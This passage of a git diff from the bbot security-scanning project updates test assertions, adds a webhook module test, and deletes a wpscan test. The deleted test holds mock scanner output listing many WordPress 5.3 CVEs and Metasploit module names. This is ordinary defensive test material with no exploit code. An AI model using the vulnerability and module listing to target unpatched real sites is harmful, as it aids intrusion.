                     directory_detection = True
-                if e.data == "http://127.0.0.1:8888/adm_portal.aspx":
+                if e.url == "http://127.0.0.1:8888/adm_portal.aspx":
                     prefix_detection = True
-                if e.data == "http://127.0.0.1:8888/abcconsole.aspx":
+                if e.url == "http://127.0.0.1:8888/abcconsole.aspx":
                     delimiter_detection = True
-                if e.data == "http://127.0.0.1:8888/adm_directory/":
+                if e.url == "http://127.0.0.1:8888/adm_directory/":
                     directory_delimiter_detection = True
-                if e.data == "http://127.0.0.1:8888/xyzdirectory/":
+                if e.url == "http://127.0.0.1:8888/xyzdirectory/":
                     prefix_delimiter_detection = True
-                if e.data == "http://127.0.0.1:8888/short.pl":
+                if e.url == "http://127.0.0.1:8888/short.pl":
                     short_extensions_detection = True
-                if e.data == "http://127.0.0.1:8888/newproxy.aspx":
+                if e.url == "http://127.0.0.1:8888/newproxy.aspx":
                     subword_detection = True
 
         assert basic_detection
diff --git a/bbot/test/test_step_2/module_tests/test_module_webhook.py b/bbot/test/test_step_2/module_tests/test_module_webhook.py
new file mode 100644
index 0000000000..769b9254a3
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_webhook.py
@@ -0,0 +1,54 @@
+import json
+from bbot.test.mock_blasthttp import MockResponse
+
+from .base import ModuleTestBase
+
+
+class TestWebhook(ModuleTestBase):
+    downstream_url = "https://blacklanternsecurity.fakedomain:1234/events"
+    config_overrides = {
+        "modules": {
+            "webhook": {
+                "url": downstream_url,
+                "method": "PUT",
+                "bearer": "auth_token",
+                "username": "bbot_user",
+                "password": "bbot_password",
+            }
+        }
+    }
+
+    def verify_data(self, j):
+        return j.get("data") == "blacklanternsecurity.com" and j.get("type") == "DNS_NAME"
+
+    async def setup_after_prep(self, module_test):
+        self.got_event = False
+        self.headers_correct = False
+        self.method_correct = False
+        self.url_correct = False
+
+        async def custom_callback(request):
+            j = json.loads(request.content)
+            if request.url == self.downstream_url:
+                self.url_correct = True
+            if request.method == "PUT":
+                self.method_correct = True
+            if "Authorization" in request.headers:
+                self.headers_correct = True
+            if self.verify_data(j):
+                self.got_event = True
+            return MockResponse(
+                status_code=200,
+            )
+
+        module_test.blasthttp_mock.add_callback(custom_callback)
+        module_test.blasthttp_mock.add_callback(custom_callback)
+        module_test.blasthttp_mock.add_response(
+            method="PUT", headers={"Authorization": "bearer auth_token"}, url=self.downstream_url
+        )
+
+    def check(self, module_test, events):
+        assert self.got_event is True
+        assert self.headers_correct is True
+        assert self.method_correct is True
+        assert self.url_correct is True
diff --git a/bbot/test/test_step_2/module_tests/test_module_wpscan.py b/bbot/test/test_step_2/module_tests/test_module_wpscan.py
deleted file mode 100644
index 7e65c1dcce..0000000000
--- a/bbot/test/test_step_2/module_tests/test_module_wpscan.py
+++ /dev/null
@@ -1,1083 +0,0 @@
-from subprocess import CompletedProcess
-from .base import ModuleTestBase
-
-
-class Testwpscan(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "wpscan"]
-
-    wpscan_output_json = """{
-  "banner": {
-    "description": "WordPress Security Scanner by the WPScan Team",
-    "version": "3.8.25",
-    "authors": [
-      "@_WPScan_",
-      "@ethicalhack3r",
-      "@erwan_lr",
-      "@firefart"
-    ],
-    "sponsor": "Sponsored by Automattic - https://automattic.com/"
-  },
-  "start_time": 1717183319,
-  "start_memory": 49950720,
-  "target_url": "http://127.0.0.1:8888/",
-  "target_ip": "172.29.64.1",
-  "effective_url": "http://127.0.0.1:8888/",
-  "interesting_findings": [
-    {
-      "url": "http://127.0.0.1:8888/",
-      "to_s": "Headers",
-      "type": "headers",
-      "found_by": "Headers (Passive Detection)",
-      "confidence": 100,
-      "confirmed_by": {
-
-      },
-      "references": {
-
-      },
-      "interesting_entries": [
-        "Server: Apache/2.4.38 (Debian)",
-        "X-Powered-By: PHP/7.1.33"
-      ]
-    },
-    {
-      "url": "http://127.0.0.1:8888/xmlrpc.php",
-      "to_s": "XML-RPC seems to be enabled: http://127.0.0.1:8888/xmlrpc.php",
-      "type": "xmlrpc",
-      "found_by": "Direct Access (Aggressive Detection)",
-      "confidence": 100,
-      "confirmed_by": {
-
-      },
-      "references": {
-        "url": [
-          "http://codex.wordpress.org/XML-RPC_Pingback_API"
-        ],
-        "metasploit": [
-          "auxiliary/scanner/http/wordpress_ghost_scanner",
-          "auxiliary/dos/http/wordpress_xmlrpc_dos",
-          "auxiliary/scanner/http/wordpress_xmlrpc_login",
-          "auxiliary/scanner/http/wordpress_pingback_access"
-        ]
-      },
-      "interesting_entries": [
-
-      ]
-    },
-    {
-      "url": "http://127.0.0.1:8888/readme.html",
-      "to_s": "WordPress readme found: http://127.0.0.1:8888/readme.html",
-      "type": "readme",
-      "found_by": "Direct Access (Aggressive Detection)",
-      "confidence": 100,
-      "confirmed_by": {
-
-      },
-      "references": {
-
-      },
-      "interesting_entries": [
-        "/wp-admin/",
-        "/wp-admin/admin-ajax.php",
-        " "
-      ]
-    },
-    {
-      "url": "http://127.0.0.1:8888/wp-cron.php",
-      "to_s": "The external WP-Cron seems to be enabled: http://127.0.0.1:8888/wp-cron.php",
-      "type": "wp_cron",
-      "found_by": "Direct Access (Aggressive Detection)",
-      "confidence": 60,
-      "confirmed_by": {
-
-      },
-      "references": {
-        "url": [
-          "https://www.iplocation.net/defend-wordpress-from-ddos",
-          "https://github.com/wpscanteam/wpscan/issues/1299"
-        ]
-      },
-      "interesting_entries": [
-
-      ]
-    }
-  ],
-  "version": {
-    "number": "5.3",
-    "release_date": "2019-11-12",
-    "status": "insecure",
-    "found_by": "Emoji Settings (Passive Detection)",
-    "confidence": 100,
-    "interesting_entries": [
-      "http://127.0.0.1:8888/, Match: 'wp-includes\\/js\\/wp-emoji-release.min.js?ver=5.3'"
-    ],
-    "confirmed_by": {
-      "Meta Generator (Passive Detection)": {
-        "confidence": 60,
-        "interesting_entries": [
-          "http://127.0.0.1:8888/, Match: 'WordPress 5.3'"
-        ]
-      }
-    },
-    "vulnerabilities": [
-      {
-        "title": "WordPress <= 5.3 - Authenticated Improper Access Controls in REST API",
-        "fixed_in": "5.3.1",
-        "references": {
-          "cve": [
-            "2019-20043",
-            "2019-16788"
-          ],
-          "url": [
-            "https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw"
-          ],
-          "wpvulndb": [
-            "4a6de154-5fbd-4c80-acd3-8902ee431bd8"
-          ]
-        }
-      },
-      {
-        "title": "WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links",
-        "fixed_in": "5.3.1",
-        "references": {
-          "cve": [
-            "2019-20042"
-          ],
-          "url": [
-            "https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/",
-            "https://hackerone.com/reports/509930",
-            "https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7"
-          ],
-          "wpvulndb": [
-            "23553517-34e3-40a9-a406-f3ffbe9dd265"
-          ]
-        }
-      },
-      {
-        "title": "WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content",
-        "fixed_in": "5.3.1",
-        "references": {
-          "cve": [
-            "2019-16781",
-            "2019-16780"
-          ],
-          "url": [
-            "https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v"
-          ],
-          "wpvulndb": [
-            "be794159-4486-4ae1-a5cc-5c190e5ddf5f"
-          ]
-        }
-      },
-      {
-        "title": "WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass",
-        "fixed_in": "5.3.1",
-        "references": {
-          "cve": [
-            "2019-20041"
-          ],
-          "url": [
-            "https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53"
-          ],
-          "wpvulndb": [
-            "8fac612b-95d2-477a-a7d6-e5ec0bb9ca52"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated",
-        "fixed_in": "5.3.3",
-        "references": {
-          "cve": [
-            "2020-11027"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/04/wordpress-5-4-1/",
-            "https://core.trac.wordpress.org/changeset/47634/",
-            "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw"
-          ],
-          "wpvulndb": [
-            "7db191c0-d112-4f08-a419-a1cd81928c4e"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.1 - Unauthenticated Users View Private Posts",
-        "fixed_in": "5.3.3",
-        "references": {
-          "cve": [
-            "2020-11028"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/04/wordpress-5-4-1/",
-            "https://core.trac.wordpress.org/changeset/47635/",
-            "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w"
-          ],
-          "wpvulndb": [
-            "d1e1ba25-98c9-4ae7-8027-9632fb825a56"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer",
-        "fixed_in": "5.3.3",
-        "references": {
-          "cve": [
-            "2020-11025"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/04/wordpress-5-4-1/",
-            "https://core.trac.wordpress.org/changeset/47633/",
-            "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c"
-          ],
-          "wpvulndb": [
-            "4eee26bd-a27e-4509-a3a5-8019dd48e429"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Search Block",
-        "fixed_in": "5.3.3",
-        "references": {
-          "cve": [
-            "2020-11030"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/04/wordpress-5-4-1/",
-            "https://core.trac.wordpress.org/changeset/47636/",
-            "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-vccm-6gmc-qhjh"
-          ],
-          "wpvulndb": [
-            "e4bda91b-067d-45e4-a8be-672ccf8b1a06"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache",
-        "fixed_in": "5.3.3",
-        "references": {
-          "cve": [
-            "2020-11029"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/04/wordpress-5-4-1/",
-            "https://core.trac.wordpress.org/changeset/47637/",
-            "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c"
-          ],
-          "wpvulndb": [
-            "e721d8b9-a38f-44ac-8520-b4a9ed6a5157"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads",
-        "fixed_in": "5.3.3",
-        "references": {
-          "cve": [
-            "2020-11026"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/04/wordpress-5-4-1/",
-            "https://core.trac.wordpress.org/changeset/47638/",
-            "https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2",
-            "https://hackerone.com/reports/179695"
-          ],
-          "wpvulndb": [
-            "55438b63-5fc9-4812-afc4-2f1eff800d5f"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.2 - Authenticated XSS in Block Editor",
-        "fixed_in": "5.3.4",
-        "references": {
-          "cve": [
-            "2020-4046"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rpwf-hrh2-39jf",
-            "https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/"
-          ],
-          "youtube": [
-            "https://www.youtube.com/watch?v=tCh7Y8z8fb4"
-          ],
-          "wpvulndb": [
-            "831e4a94-239c-4061-b66e-f5ca0dbb84fa"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.2 - Authenticated XSS via Media Files",
-        "fixed_in": "5.3.4",
-        "references": {
-          "cve": [
-            "2020-4047"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-8q2w-5m27-wm27"
-          ],
-          "wpvulndb": [
-            "741d07d1-2476-430a-b82f-e1228a9343a4"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.2 - Open Redirection",
-        "fixed_in": "5.3.4",
-        "references": {
-          "cve": [
-            "2020-4048"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/",
-            "https://github.com/WordPress/WordPress/commit/10e2a50c523cf0b9785555a688d7d36a40fbeccf",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-q6pw-gvf4-5fj5"
-          ],
-          "wpvulndb": [
-            "12855f02-432e-4484-af09-7d0fbf596909"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.2 - Authenticated Stored XSS via Theme Upload",
-        "fixed_in": "5.3.4",
-        "references": {
-          "cve": [
-            "2020-4049"
-          ],
-          "exploitdb": [
-            "48770"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-87h4-phjv-rm6p",
-            "https://hackerone.com/reports/406289"
-          ],
-          "wpvulndb": [
-            "d8addb42-e70b-4439-b828-fd0697e5d9d4"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.2 - Misuse of set-screen-option Leading to Privilege Escalation",
-        "fixed_in": "5.3.4",
-        "references": {
-          "cve": [
-            "2020-4050"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/",
-            "https://github.com/WordPress/WordPress/commit/dda0ccdd18f6532481406cabede19ae2ed1f575d",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4vpv-fgg2-gcqc"
-          ],
-          "wpvulndb": [
-            "b6f69ff1-4c11-48d2-b512-c65168988c45"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.4.2 - Disclosure of Password-Protected Page/Post Comments",
-        "fixed_in": "5.3.4",
-        "references": {
-          "cve": [
-            "2020-25286"
-          ],
-          "url": [
-            "https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/",
-            "https://github.com/WordPress/WordPress/commit/c075eec24f2f3214ab0d0fb0120a23082e6b1122"
-          ],
-          "wpvulndb": [
-            "eea6dbf5-e298-44a7-9b0d-f078ad4741f9"
-          ]
-        }
-      },
-      {
-        "title": "WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure",
-        "fixed_in": "5.3.7",
-        "references": {
-          "cve": [
-            "2021-29450"
-          ],
-          "url": [
-            "https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/",
-            "https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html",
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq",
-            "https://core.trac.wordpress.org/changeset/50717/"
-          ],
-          "youtube": [
-            "https://www.youtube.com/watch?v=J2GXmxAdNWs"
-          ],
-          "wpvulndb": [
-            "6a3ec618-c79e-4b9c-9020-86b157458ac5"
-          ]
-        }
-      },
-      {
-        "title": "WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer",
-        "fixed_in": "5.3.8",
-        "references": {
-          "cve": [
-            "2020-36326",
-            "2018-19296"
-          ],
-          "url": [
-            "https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62",
-            "https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/",
-            "https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9",
-            "https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/"
-          ],
-          "youtube": [
-            "https://www.youtube.com/watch?v=HaW15aMzBUM"
-          ],
-          "wpvulndb": [
-            "4cd46653-4470-40ff-8aac-318bee2f998d"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.8.2 - Expired DST Root CA X3 Certificate",
-        "fixed_in": "5.3.10",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/",
-            "https://core.trac.wordpress.org/ticket/54207"
-          ],
-          "wpvulndb": [
-            "cc23344a-5c91-414a-91e3-c46db614da8d"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.8 - Plugin Confusion",
-        "fixed_in": "5.8",
-        "references": {
-          "cve": [
-            "2021-44223"
-          ],
-          "url": [
-            "https://vavkamil.cz/2021/11/25/wordpress-plugin-confusion-update-can-get-you-pwned/"
-          ],
-          "wpvulndb": [
-            "95e01006-84e4-4e95-b5d7-68ea7b5aa1a8"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.8.3 - SQL Injection via WP_Query",
-        "fixed_in": "5.3.11",
-        "references": {
-          "cve": [
-            "2022-21661"
-          ],
-          "url": [
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84",
-            "https://hackerone.com/reports/1378209"
-          ],
-          "wpvulndb": [
-            "7f768bcf-ed33-4b22-b432-d1e7f95c1317"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs",
-        "fixed_in": "5.3.11",
-        "references": {
-          "cve": [
-            "2022-21662"
-          ],
-          "url": [
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w",
-            "https://hackerone.com/reports/425342",
-            "https://blog.sonarsource.com/wordpress-stored-xss-vulnerability"
-          ],
-          "wpvulndb": [
-            "dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8"
-          ]
-        }
-      },
-      {
-        "title": "WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query",
-        "fixed_in": "5.3.11",
-        "references": {
-          "cve": [
-            "2022-21664"
-          ],
-          "url": [
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86"
-          ],
-          "wpvulndb": [
-            "24462ac4-7959-4575-97aa-a6dcceeae722"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.8.3 - Super Admin Object Injection in Multisites",
-        "fixed_in": "5.3.11",
-        "references": {
-          "cve": [
-            "2022-21663"
-          ],
-          "url": [
-            "https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h",
-            "https://hackerone.com/reports/541469"
-          ],
-          "wpvulndb": [
-            "008c21ab-3d7e-4d97-b6c3-db9d83f390a7"
-          ]
-        }
-      },
-      {
-        "title": "WordPress < 5.9.2 - Prototype Pollution in jQuery",
-        "fixed_in": "5.3.12",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/"
-          ],
-          "wpvulndb": [
-            "1ac912c1-5e29-41ac-8f76-a062de254c09"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.2 - Reflected Cross-Site Scripting",
-        "fixed_in": "5.3.13",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/"
-          ],
-          "wpvulndb": [
-            "622893b0-c2c4-4ee7-9fa1-4cecef6e36be"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.2 - Authenticated Stored Cross-Site Scripting",
-        "fixed_in": "5.3.13",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/"
-          ],
-          "wpvulndb": [
-            "3b1573d4-06b4-442b-bad5-872753118ee0"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.2 - SQLi via Link API",
-        "fixed_in": "5.3.13",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/"
-          ],
-          "wpvulndb": [
-            "601b0bf9-fed2-4675-aec7-fed3156a022f"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - Stored XSS via wp-mail.php",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/abf236fdaf94455e7bc6e30980cf70401003e283"
-          ],
-          "wpvulndb": [
-            "713bdc8b-ab7c-46d7-9847-305344a579c4"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - Open Redirect via wp_nonce_ays",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/506eee125953deb658307bb3005417cb83f32095"
-          ],
-          "wpvulndb": [
-            "926cd097-b36f-4d26-9c51-0dfab11c301b"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - Email Address Disclosure via wp-mail.php",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/5fcdee1b4d72f1150b7b762ef5fb39ab288c8d44"
-          ],
-          "wpvulndb": [
-            "c5675b59-4b1d-4f64-9876-068e05145431"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - Reflected XSS via SQLi in Media Library",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/8836d4682264e8030067e07f2f953a0f66cb76cc"
-          ],
-          "wpvulndb": [
-            "cfd8b50d-16aa-4319-9c2d-b227365c2156"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - CSRF in wp-trackback.php",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/a4f9ca17fae0b7d97ff807a3c234cf219810fae0"
-          ],
-          "wpvulndb": [
-            "b60a6557-ae78-465c-95bc-a78cf74a6dd0"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - Stored XSS via the Customizer",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/2ca28e49fc489a9bb3c9c9c0d8907a033fe056ef"
-          ],
-          "wpvulndb": [
-            "2787684c-aaef-4171-95b4-ee5048c74218"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - Stored XSS via Comment Editing",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/89c8f7919460c31c0f259453b4ffb63fde9fa955"
-          ],
-          "wpvulndb": [
-            "02d76d8e-9558-41a5-bdb6-3957dc31563b"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - Content from Multipart Emails Leaked",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/3765886b4903b319764490d4ad5905bc5c310ef8"
-          ],
-          "wpvulndb": [
-            "3f707e05-25f0-4566-88ed-d8d0aff3a872"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - SQLi in WP_Date_Query",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/d815d2e8b2a7c2be6694b49276ba3eee5166c21f"
-          ],
-          "wpvulndb": [
-            "1da03338-557f-4cb6-9a65-3379df4cce47"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - Stored XSS via RSS Widget",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/929cf3cb9580636f1ae3fe944b8faf8cca420492"
-          ],
-          "wpvulndb": [
-            "58d131f5-f376-4679-b604-2b888de71c5b"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/wordpress-develop/commit/ebaac57a9ac0174485c65de3d32ea56de2330d8e"
-          ],
-          "wpvulndb": [
-            "b27a8711-a0c0-4996-bd6a-01734702913e"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.0.3 - Multiple Stored XSS via Gutenberg",
-        "fixed_in": "5.3.14",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/",
-            "https://github.com/WordPress/gutenberg/pull/45045/files"
-          ],
-          "wpvulndb": [
-            "f513c8f6-2e1c-45ae-8a58-36b6518e2aa9"
-          ]
-        }
-      },
-      {
-        "title": "WP <= 6.2 - Unauthenticated Blind SSRF via DNS Rebinding",
-        "fixed_in": null,
-        "references": {
-          "cve": [
-            "2022-3590"
-          ],
-          "url": [
-            "https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/"
-          ],
-          "wpvulndb": [
-            "c8814e6e-78b3-4f63-a1d3-6906a84c1f11"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.2.1 - Directory Traversal via Translation Files",
-        "fixed_in": "5.3.15",
-        "references": {
-          "cve": [
-            "2023-2745"
-          ],
-          "url": [
-            "https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/"
-          ],
-          "wpvulndb": [
-            "2999613a-b8c8-4ec0-9164-5dfe63adf6e6"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.2.1 - Thumbnail Image Update via CSRF",
-        "fixed_in": "5.3.15",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/"
-          ],
-          "wpvulndb": [
-            "a03d744a-9839-4167-a356-3e7da0f1d532"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.2.1 - Contributor+ Stored XSS via Open Embed Auto Discovery",
-        "fixed_in": "5.3.15",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/"
-          ],
-          "wpvulndb": [
-            "3b574451-2852-4789-bc19-d5cc39948db5"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.2.2 - Shortcode Execution in User Generated Data",
-        "fixed_in": "5.3.15",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/",
-            "https://wordpress.org/news/2023/05/wordpress-6-2-2-security-release/"
-          ],
-          "wpvulndb": [
-            "ef289d46-ea83-4fa5-b003-0352c690fd89"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.2.1 - Contributor+ Content Injection",
-        "fixed_in": "5.3.15",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/"
-          ],
-          "wpvulndb": [
-            "1527ebdb-18bc-4f9d-9c20-8d729a628670"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.3.2 - Denial of Service via Cache Poisoning",
-        "fixed_in": "5.3.16",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/"
-          ],
-          "wpvulndb": [
-            "6d80e09d-34d5-4fda-81cb-e703d0e56e4f"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.3.2 - Subscriber+ Arbitrary Shortcode Execution",
-        "fixed_in": "5.3.16",
-        "references": {
-          "url": [
-            "https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/"
-          ],
-          "wpvulndb": [
-            "3615aea0-90aa-4f9a-9792-078a90af7f59"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.3.2 - Contributor+ Comment Disclosure",
-        "fixed_in": "5.3.16",
-        "references": {
-          "cve": [
-            "2023-39999"
-          ],
-          "url": [
-            "https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/"
-          ],
-          "wpvulndb": [
-            "d35b2a3d-9b41-4b4f-8e87-1b8ccb370b9f"
-          ]
-        }
-      },
-      {
-        "title": "WP < 6.3.2 - Unauthenticated Post Author Email Disclosure",
-        "fixed_in": "5.3.16",
-        "references": {
-          "cve": [
-            "2023-5561"
-          ],
-          "url": [
-            "https://wpscan.com/blog/email-leak-oracle-vulnerability-addressed-in-wordpress-6-3-2/",
